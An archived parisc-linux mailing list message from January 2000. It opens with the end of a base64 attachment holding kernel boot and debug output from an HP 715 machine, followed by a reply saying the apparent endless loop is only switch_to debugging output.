MTAwMDA0DQ0KZG9faXJxX21hc2sgMjAwMDAwMDAgYzAyNmUzMWMgYzdmZTg3
NDANDQpkb19pcnFfbWFzayAwNDAwMDAwMCBjN2ZiZTAyMCBjN2ZlODc0MA0N
CkluaXRpYWxpemluZyBsYXNpIG1vdXNlIHBvcnQgYXQgMHhmMDEwODEwMC4u
Lg0NCkxpbnV4IE5FVDQuMCBmb3IgTGludXggMi4zDQ0KQmFzZWQgdXBvbiBT
d2Fuc2VhIFVuaXZlcnNpdHkgQ29tcHV0ZXIgU29jaWV0eSBORVQzLjAzOQ0N
ClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA0LjkxICgxOTk5LTExLTE3KSB3aXRo
IG5vIHNlcmlhbCBvcHRpb25zIGVuYWJsZWQNDQpwdHk6IDI1NiBVbml4OTgg
cHR5cyBjb25maWd1cmVkDQ0KUkFNRElTSyBkcml2ZXIgaW5pdGlhbGl6ZWQ6
IDE2IFJBTSBkaXNrcyBvZiA0MDk2SyBzaXplIDEwMjQgYmxvY2tzaXplDQ0K
UkFNRElTSzogZXh0MiBmaWxlc3lzdGVtIGZvdW5kIGF0IGJsb2NrIDANDQpS
QU1ESVNLOiBMb2FkaW5nIDY1MCBibG9ja3MgWzEgZGlza10gaW50byByYW0g
ZGlzay4uLiB8Ly1cfC8tXHwvLVx8Ly1cfC8tXHwvLVx8Ly1cfC8tXHwvLVx8
Ly1cfGRvbmUuDQ0KaW9kY19jb25faW5pdA0NCkNvbnNvbGU6IHN3aXRjaGlu
ZyB0byBtb25vIElPREMgY29uc29sZSA4MHgzNA0NClZGUzogTW91bnRlZCBy
b290IChleHQyIGZpbGVzeXN0ZW0pLg0NCnR0eV9vcGVuDQ0KdnRfY29uc29s
ZV9kZXZpY2UgcmV0dXJuaW5nIFswIDBdICg0IDEpIDA0MDENDQpzZWFyY2hp
bmcgZm9yIDQvMQ0NCmZvdW5kIDEzNi9bMCwyNTZdDQ0KZm91bmQgMTI4L1sw
LDI1Nl0NDQpmb3VuZCAzL1swLDI1Nl0NDQpmb3VuZCAyL1swLDI1Nl0NDQpm
b3VuZCA1L1s2NCw0XQ0NCmZvdW5kIDQvWzY0LDRdDQ0KZm91bmQgNC9bMCwx
XQ0NCmZvdW5kIDUvWzIsMV0NDQpmb3VuZCA1L1sxLDFdDQ0KZm91bmQgNS9b
MCwxXQ0NCmZvdW5kIDQvWzEsNjNdDQ0KZHJpdmVyOiAtMTA3MDc0NTc0NA0N
CnJldHZhbCAwDQ0KZHJpdmVyLm9wZW4gMA0NCmV4ZWN2ZSAvc2Jpbi9pbml0
IGMwMWNhMDA4IGMwMWNhMDMwDQ0KZG9fZXhlY3ZlDQ0KcmVhZGluZyBjMDE0
ZDJhOCBjN2ZlODgwOCBjN2ZlODVjOCAxMjgNDQpyZXR1cm5lZCAxMjgNDQow
MjEwMDEwOCAwNTEyNDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0NCjAwMDAwMDAw
IDAwMDAwMDAwIDAwMDAzOWMzIDAwMDAwMDgwDQ0KMDAwMDAwYjQgMDAwNDU1
MzUgNDAwMDZkMzggMDAwMDAxMzgNDQowMDAwMDAwNCAwMDAwMDFjOCAwMDAw
MDAxMyAwMDAwMDRmYw0NCjAwMDAwMDAwIDAwMDAwNGZjIDAwMDAwMWU4IDAw
MDAwNGMwDQ0KMDAwMDAwMDMgMDAwMDA2ZTQgMDAwMDAwMDAgMDAwMDA2ZTQN
DQowMDAwMDAwMCAwMDAwMDZlNCAwMDAwMDAwMCAwMDAwMDZlNA0NCjAwMDAw
MDAwIDAwMDQ1MDAwIDAwMDAwNTM1IDQ3MDIxMDBiDQ0Kc2VhcmNoX2JpbmFy
eV9oYW5kbGVyDQ0KdHJ5aW5nIGMwMTZmNGMwDQ0KbG9hZF9zb21fYmluYXJ5
DQ0KSXQgc2VlbXMgdG8gYmUgYSB2YWxpZCBTT00gZXhlY3V0YWJsZQ0NCnJl
YWRpbmcgYzAxNGQyYTggYzdmZTg4ODggYzdmYjQxNDAgMTgwDQ0KcmV0dXJu
ZWQgMTgwDQ0KMTAwMDAwMDQgMDAwMDAwMjggMDAwM2UwNDQgMDAwMDEwMDAN
DQowMDAwMDAwMCAwMDAwNjAwMCA0MDAwMTAwMCAwMDAzZjAwMA0NCjAwMDBl
ZjEwIDAwMDAzOWMwIDAwMDAwMDAwIDAwMDAwMDAwDQ0KODAwMDAwMGIgMDAw
MDAwMDQgMDAwMDAwMDAgODAwMDAwMDENDQowMDAwMDAyMCAzOTMyMzQzNSAz
MzJkMzAzNyA0MjAwMDAwMA0NCjMxMzEyZTMwIDMxMDAwMDAwIDAwMDAwMDAw
IDM4NjAwMWFlDQ0KMDAwMDAwMDAgODAwMDAwMDEgMDAwMDAwMjAgMzkzMjM0
MzUNDQozMzJkMzAzNyA0MjAwMDAwMCAzMTMxMmUzMCAzNDAwMDAwMA0NCmRv
X21tYXAgYzdlZmMwZTAgMDAwMDEwMDAgMDAwM2YwMDAgMDAwMDAwMDUgMDAw
MDE4MDYgMDAwMDAwMDANDQptaXNjb2xvdXJlZCBtbWFwDQ0KZG9fbW1hcCBj
N2VmYzBlMCA0MDAwMTAwMCAwMDAwNjAwMCAwMDAwMDAwNyAwMDAwMTgwNiAw
MDAzZjAwMA0NCm1pc2NvbG91cmVkIG1tYXANDQpkb19tbWFwIDAwMDAwMDAw
IDQwMDA3MDAwIDAwMDBmMDAwIDAwMDAwMDA3IDAwMDAwMDA2IDAwMDAwMDAw
DQ0KbWlzY29sb3VyZWQgbW1hcA0NCmJwcm0tPnA6IDIwMDFmZmRhDQ0Kc3Rh
Y2tfYmFzZSAyMDAwMDAwMCBmYzAwMDAwMA0NCnN0YWNrX2Jhc2UgMjAwMDEw
MDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDAyMDAwIGZjMDAwMDAwDQ0K
c3RhY2tfYmFzZSAyMDAwMzAwMCBmYzAwMDAwMA0NCnN0YWNrX2Jhc2UgMjAw
MDQwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDA1MDAwIGZjMDAwMDAw
DQ0Kc3RhY2tfYmFzZSAyMDAwNjAwMCBmYzAwMDAwMA0NCnN0YWNrX2Jhc2Ug
MjAwMDcwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDA4MDAwIGZjMDAw
MDAwDQ0Kc3RhY2tfYmFzZSAyMDAwOTAwMCBmYzAwMDAwMA0NCnN0YWNrX2Jh
c2UgMjAwMGEwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDBiMDAwIGZj
MDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAwYzAwMCBmYzAwMDAwMA0NCnN0YWNr
X2Jhc2UgMjAwMGQwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDBlMDAw
IGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAwZjAwMCBmYzAwMDAwMA0NCnN0
YWNrX2Jhc2UgMjAwMTAwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIwMDEx
MDAwIGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAxMjAwMCBmYzAwMDAwMA0N
CnN0YWNrX2Jhc2UgMjAwMTMwMDAgZmMwMDAwMDANDQpzdGFja19iYXNlIDIw
MDE0MDAwIGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAxNTAwMCBmYzAwMDAw
MA0NCnN0YWNrX2Jhc2UgMjAwMTYwMDAgZmMwMDAwMDANDQpzdGFja19iYXNl
IDIwMDE3MDAwIGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAxODAwMCBmYzAw
MDAwMA0NCnN0YWNrX2Jhc2UgMjAwMTkwMDAgZmMwMDAwMDANDQpzdGFja19i
YXNlIDIwMDFhMDAwIGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAxYjAwMCBm
YzAwMDAwMA0NCnN0YWNrX2Jhc2UgMjAwMWMwMDAgZmMwMDAwMDANDQpzdGFj
a19iYXNlIDIwMDFkMDAwIGZjMDAwMDAwDQ0Kc3RhY2tfYmFzZSAyMDAxZTAw
MCBmYzAwMDAwMA0NCnN0YWNrX2Jhc2UgMjAwMWYwMDAgYzdlZWYwMDANDQpt
ZW1fbWFwIGRpc2FncmVlcyB3aXRoIGMxMjJiNzdjIGF0IDIwMDFmMDAwDQ0K
c2V0X3B0ZSBjN2VmNjA3YyAwN2VlZjU4MQ0NCihzdGFydF9icmspIDQwMDE2
MDAwDQ0KKGVuZF9jb2RlKSAwMDA0MDAwMA0NCihzdGFydF9jb2RlKSAwMDAw
MTAwMA0NCihlbmRfZGF0YSkgNDAwMDcwMDANDQooc3RhcnRfc3RhY2spIDIw
MDFmZmY4DQ0KKGJyaykgNDAwMTYwMDANDQpjdXJyZW50ID0gYzdmZTgwMDAs
IG1tID0gYzdlZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRl
IGM3ZWZkMDBjIDA3ZWQzNTAyDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9
IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2Vm
MzAwNCAwN2VjMTUxMw0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2Vm
OTA0MCwgbW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZjMwMTgg
MDdlYzY1MTMNDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAs
IG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZkMDEwIDA3ZWI0
NTEzDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFw
X3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmNjA4OCAwN2ViMjU5MQ0N
CnN5c2NhbGwgNTcgMjAwMjIwOTAgMDAwMDAwMDAgMDAwMDAwMDAgNjk2ZTc1
NzggPSAwICgtPiAwMDAwNDMxYikNDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1t
ID0gYzdlZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3
ZWZkMDA0IDA3ZWExNTAyDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3
ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmNjA4
MCAwN2ViMDU5MQ0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0
MCwgbW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZjMwNDQgMDEw
MDE1MDINDQpzeXNjYWxsIDcxIDAwMDAwMDAwIDAwMDAwMDIwIDAwMDAwMDA3
IDAwMDAwMDEyZG9fbW1hcCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAyMA0N
CiAwMDAwMDAwNyAwMDAwMDAxMiAwMDAwMDAxMg0NCiA9IC0yMiAoLT4gMDAw
MDQ4NWIpDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBt
bWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmMzA0NCAwN2U5MTUx
Mw0NCnN5c2NhbGwgNjggZmZmZmZmZWEgZmZmZmZmZmYgMDAwMDAwMDcgMDAw
MDAwMTIgPSAtMjUxICgtPiAwMDAwNDg3NykNDQpjdXJyZW50ID0gYzdmZTgw
MDAsIG1tID0gYzdlZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRf
cHRlIGM3ZWYzMDNjIDAxMDBmNTAyDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBt
bSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBj
N2VmZDAzYyAwN2ViZjUwMg0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBj
N2VmOTA0MCwgbW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZjMw
NTQgMDEwMDU1MDINDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkw
NDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWYzMDA4IDA3
ZWEyNTAzDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBt
bWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDBiOCAwN2ViZTUw
Mg0NCnN5c2NhbGwgMjI0IDAwMDJlODIwIDA2MjExOTg4IDAwMDAwNTcwIDA2
MjExOTg5ID0gLTI1MSAoLT4gMDAwMGYyOTMpDQ0KY3VycmVudCA9IGM3ZmU4
MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0
X3B0ZSBjN2VmZDA1OCAwN2U5NjUwMg0NCmN1cnJlbnQgPSBjN2ZlODAwMCwg
bW0gPSBjN2VmOTA0MCwgbW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUg
YzdlZmQwNmMgMDdlYWI1MDINDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0g
YzdlZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZk
MDk4IDA3ZTg2NTAyDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5
MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmMzAxMCAw
N2U4NDUwMw0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0MCwg
bW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZmQwNWMgMDdlYTc1
MDINDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAsIG1tYXBf
c2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZkMGVjIDA3ZTliNTAyDQ0K
Y3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9
IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDBkNCAwN2U5NTUwMg0NCmN1cnJl
bnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0MCwgbW1hcF9zZW0gPSBjN2Vm
OTA1Yw0NCnNldF9wdGUgYzdlZjYwODQgMDdlNTE1OTENDQpzeXNjYWxsIDEz
MiAwMDAwMjcxMSAwMDAwMDA0NSAwMDAwMDAyNCAwMDAwMDA4YiA9IDUyOCAo
LT4gMDAwMjZkYmYpDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5
MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDA2NCAw
N2VhOTUwMg0NCnN5c2NhbGwgMTcgNDAwMTVmMTggMDAwMDAwMDAgNDAwMTVm
MTggMDAwMDAwMDAgPSAxMDczODM1ODAwICgtPiAwMDAyZWUzNykNDQpjdXJy
ZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAsIG1tYXBfc2VtID0gYzdl
ZjkwNWMNDQpzZXRfcHRlIGM3ZWYzMDU0IDA3ZTg1NTEzDQ0KY3VycmVudCA9
IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVj
DQ0Kc2V0X3B0ZSBjN2VmZDA2MCAwN2VhODUwMg0NCnN5c2NhbGwgMTcgNDAw
MTdmMGMgZmZmZmZmZmYgMDAwMDAwMDEgMDAwMDAwMDAgPSAxMDczODQzOTgw
ICgtPiAwMDAyZWUzNykNDQpzeXNjYWxsIDE3IDQwMDE4MDAwIDAwMDAwMDAw
IDAwMDAyMDAwIDAwMDAwMDAwID0gMTA3Mzg0NDIyNCAoLT4gMDAwMmVlMzcp
DQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3Nl
bSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmMzA1YyAwN2U5NzUxMw0NCmN1
cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0MCwgbW1hcF9zZW0gPSBj
N2VmOTA1Yw0NCnNldF9wdGUgYzdlZmQwNjggMDdlYWE1MDINDQpjdXJyZW50
ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkw
NWMNDQpzZXRfcHRlIGM3ZWZkMDcwIDA3ZWFjNTEzDQ0KY3VycmVudCA9IGM3
ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0K
c2V0X3B0ZSBjN2VmZDBiYyAwN2U4ZjUxMw0NCnN5c2NhbGwgNTQgMDAwMDAw
MDAgNDAxMjU0MDEgMjAwMjA1NzggNDAwMTdmMmQgPSAwICgtPiAwMDAxNmRi
ZikNDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAsIG1tYXBf
c2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZkMDc4IDA3ZTllNTEzDQ0K
Y3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9
IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDA3NCAwN2VhZDUxMw0NCnN5c2Nh
bGwgNTQgMDAwMDAwMDEgNDAxMjU0MDEgMjAwMjA3YjggNDAwMDRlMjQgPSAw
ICgtPiAwMDAxNmRiZikNDQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdl
ZjkwNDAsIG1tYXBfc2VtID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZkMGE0
IDA3ZTk5NTAyDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQw
LCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmMzAzNCAwN2U5
ZDUxMw0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0MCwgbW1h
cF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZmQwYTggMDdlOWE1MDIN
DQpjdXJyZW50ID0gYzdmZTgwMDAsIG1tID0gYzdlZjkwNDAsIG1tYXBfc2Vt
ID0gYzdlZjkwNWMNDQpzZXRfcHRlIGM3ZWZkMGIwIDA3ZTljNTAyDQ0KY3Vy
cmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3
ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDA4MCAwN2U4MDUwMg0NCnN5c2NhbGwg
NCAwMDAwMDAwMSA0MDAwZDAwMCAwMDAwMDAyMCAwOTAwZGVlZVN0YW5kLWFs
b25lIHNoZWxsICh2ZXJzaW9uIDIuMSkNDQogPSAzMiAoLT4gMDAwMjAyNWYp
DQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3Nl
bSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDA3YyAwN2U3ZjUwMg0NCnN5
c2NhbGwgMjI0IDAwMDJlODIwIDA2MjExOTg4IDAwMDAwNTcwIDAwMDAwMDAw
ID0gLTI1MSAoLT4gMDAwMmVmMGYpDQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBt
bSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBj
N2VmZDBkOCAwN2U3NjUwMg0NCnN5c2NhbGwgMTA4IDAwMDAwMDAyIDIwMDIw
NTcwIDIwMDIwNTgwIDAwMDAwMDAwID0gLTI1MSAoLT4gMDAwMmVmNDMpDQ0K
c3lzY2FsbCAxMDggMDAwMDAwMDMgMjAwMjA1NzAgMjAwMjA1ODAgMDAwMDAw
MDAgPSAtMjUxICgtPiAwMDAyZWY0MykNDQpzeXNjYWxsIDU0IDAwMDAwMDAw
IDQwMTI1NDAxIDIwMDIyZGY4IDAwMDAwMDAwID0gMCAoLT4gMDAwMTZkYmYp
DQ0KY3VycmVudCA9IGM3ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3Nl
bSA9IGM3ZWY5MDVjDQ0Kc2V0X3B0ZSBjN2VmZDAxOCAwN2U1NjUwMg0NCmN1
cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2VmOTA0MCwgbW1hcF9zZW0gPSBj
N2VmOTA1Yw0NCnNldF9wdGUgYzdlZmQwNDQgMDdlNDE1MDINDQpzeXNjYWxs
IDQgMDAwMDAwMDEgNDAwMDE3NjggMDAwMDAwMDIgMDkwMGRlZWU+ICA9IDIg
KC0+IDAwMDIwMjVmKQ0NCmN1cnJlbnQgPSBjN2ZlODAwMCwgbW0gPSBjN2Vm
OTA0MCwgbW1hcF9zZW0gPSBjN2VmOTA1Yw0NCnNldF9wdGUgYzdlZjYwOGMg
MDdlODM1OTENDQpzeXNjYWxsIDU0IDAwMDAwMDAwIDQwMTI1NDAxIDIwMDIz
MTM4IDQwMDA0ZTIwID0gMCAoLT4gMDAwMTZkYmYpDQ0KY3VycmVudCA9IGM3
ZmU4MDAwLCBtbSA9IGM3ZWY5MDQwLCBtbWFwX3NlbSA9IGM3ZWY5MDVjDQ0K
c2V0X3B0ZSBjN2VmZDBiNCAwN2U4ZDUwMg0NCnN5c2NhbGwgMyAwMDAwMDAw
MCA0MDAxMzAwMCAwMDAwMjAwMCAwOTAwZGVlZWRlbF9mcm9tX3J1bnF1ZXVl
IGM3ZmU4MDAwKDEpLCAxDQ0KZGVsX2Zyb21fcnVucXVldWUgYzdmZTgwMDAN
DQpzd2l0Y2hfdG8gYzdmZTgwMDAgYzdmYjgwMDANDQpkZWxfZnJvbV9ydW5x
dWV1ZSBjN2ZiODAwMCgzKSwgMw0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmI4
MDAwDQ0Kc3dpdGNoX3RvIGM3ZmI4MDAwIGM3ZmJhMDAwDQ0KYmRmbHVzaA0N
Cg0NCg0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmJhMDAwKDIpLCAyDQ0KZGVs
X2Zyb21fcnVucXVldWUgYzdmYmEwMDANDQpzd2l0Y2hfdG8gYzdmYmEwMDAg
YzAxYzYwMDANDQpzd2l0Y2hfdG8gYzAxYzYwMDAgYzdmYjgwMDANDQpkZWxf
ZnJvbV9ydW5xdWV1ZSBjN2ZiODAwMCgzKSwgMw0NCmRlbF9mcm9tX3J1bnF1
ZXVlIGM3ZmI4MDAwDQ0Kc3dpdGNoX3RvIGM3ZmI4MDAwIGMwMWM2MDAwDQ0K
c3dpdGNoX3RvIGMwMWM2MDAwIGM3ZmJhMDAwDQ0KZGVsX2Zyb21fcnVucXVl
dWUgYzdmYmEwMDAoMiksIDINDQpkZWxfZnJvbV9ydW5xdWV1ZSBjN2ZiYTAw
MA0NCnN3aXRjaF90byBjN2ZiYTAwMCBjMDFjNjAwMA0NCnN3aXRjaF90byBj
MDFjNjAwMCBjN2ZiODAwMA0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmI4MDAw
KDMpLCAzDQ0KZGVsX2Zyb21fcnVucXVldWUgYzdmYjgwMDANDQpzd2l0Y2hf
dG8gYzdmYjgwMDAgYzAxYzYwMDANDQpzd2l0Y2hfdG8gYzAxYzYwMDAgYzdm
YmEwMDANDQpkZWxfZnJvbV9ydW5xdWV1ZSBjN2ZiYTAwMCgyKSwgMg0NCmRl
bF9mcm9tX3J1bnF1ZXVlIGM3ZmJhMDAwDQ0Kc3dpdGNoX3RvIGM3ZmJhMDAw
IGMwMWM2MDAwDQ0Kc3dpdGNoX3RvIGMwMWM2MDAwIGM3ZmI4MDAwDQ0KZGVs
X2Zyb21fcnVucXVldWUgYzdmYjgwMDAoMyksIDMNDQpkZWxfZnJvbV9ydW5x
dWV1ZSBjN2ZiODAwMA0NCnN3aXRjaF90byBjN2ZiODAwMCBjMDFjNjAwMA0N
CnN3aXRjaF90byBjMDFjNjAwMCBjN2ZiYTAwMA0NCmRlbF9mcm9tX3J1bnF1
ZXVlIGM3ZmJhMDAwKDIpLCAyDQ0KZGVsX2Zyb21fcnVucXVldWUgYzdmYmEw
MDANDQpzd2l0Y2hfdG8gYzdmYmEwMDAgYzAxYzYwMDANDQpzd2l0Y2hfdG8g
YzAxYzYwMDAgYzdmYjgwMDANDQpkZWxfZnJvbV9ydW5xdWV1ZSBjN2ZiODAw
MCgzKSwgMw0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmI4MDAwDQ0Kc3dpdGNo
X3RvIGM3ZmI4MDAwIGMwMWM2MDAwDQ0Kc3dpdGNoX3RvIGMwMWM2MDAwIGM3
ZmJhMDAwDQ0KZGVsX2Zyb21fcnVucXVldWUgYzdmYmEwMDAoMiksIDINDQpk
ZWxfZnJvbV9ydW5xdWV1ZSBjN2ZiYTAwMA0NCnN3aXRjaF90byBjN2ZiYTAw
MCBjMDFjNjAwMA0NCnN3aXRjaF90byBjMDFjNjAwMCBjN2ZiODAwMA0NCmRl
bF9mcm9tX3J1bnF1ZXVlIGM3ZmI4MDAwKDMpLCAzDQ0KZGVsX2Zyb21fcnVu
cXVldWUgYzdmYjgwMDANDQpzd2l0Y2hfdG8gYzdmYjgwMDAgYzAxYzYwMDAN
DQpzd2l0Y2hfdG8gYzAxYzYwMDAgYzdmYmEwMDANDQpkZWxfZnJvbV9ydW5x
dWV1ZSBjN2ZiYTAwMCgyKSwgMg0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmJh
MDAwDQ0Kc3dpdGNoX3RvIGM3ZmJhMDAwIGMwMWM2MDAwDQ0Kc3dpdGNoX3Rv
IGMwMWM2MDAwIGM3ZmI4MDAwDQ0KZGVsX2Zyb21fcnVucXVldWUgYzdmYjgw
MDAoMyksIDMNDQpkZWxfZnJvbV9ydW5xdWV1ZSBjN2ZiODAwMA0NCnN3aXRj
aF90byBjN2ZiODAwMCBjMDFjNjAwMA0NCnN3aXRjaF90byBjMDFjNjAwMCBj
N2ZiYTAwMA0NCmRlbF9mcm9tX3J1bnF1ZXVlIGM3ZmJhMDAwKDIpLCAyDQ0K
ZGVsX2Zyb21fcnVucXVldWUgYzdmYmEwMDANDQpzd2l0Y2hfdG8gYzdmYmEw
MDAgYzAxYzYwMDANDQo=
--1418613302-341603450-948821881=:15648--


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 problem
Date: Tue, 25 Jan 2000 14:22:43 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20000125142243.B32390@thepuffingroup.com>
References: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com> <Pine.HPX.4.21.0001251927060.15648-200000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618742 29813 80.91.229.3 (22 Nov 2014 01:12:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: willy@thepuffingroup.com  Tue Jan 25 12:21:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16306
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 12:21:49 -0700
Original-Received: (qmail 13520 invoked by uid 15267); 25 Jan 2000 18:22:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13506 invoked from network); 25 Jan 2000 18:22:35 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 18:22:35 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA01337;
	Tue, 25 Jan 2000 14:22:43 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.HPX.4.21.0001251927060.15648-200000@gamgee.ntc.nokia.com>; from Hannu Martikka on Tue, Jan 25, 2000 at 07:38:01PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:6741

On Tue, Jan 25, 2000 at 07:38:01PM +0200, Hannu Martikka wrote:
> I tried the linux-2.3 latest kernel (ramdisk.bin-20000118a) from CVS with
> 715/80. I didn't get shell prompt. It seems to end up with somekind of
> endless loop.

The endless loop isn't a problem; that's `debugging the switch_to' code.
prumpf, can we get rid of this now or is it still important?  I _think_
you'll find you are actually at a prompt, it's just not obvious because
of the messages.

> I'll include the bootup messages. Hopefully someone can make something out
> of them..
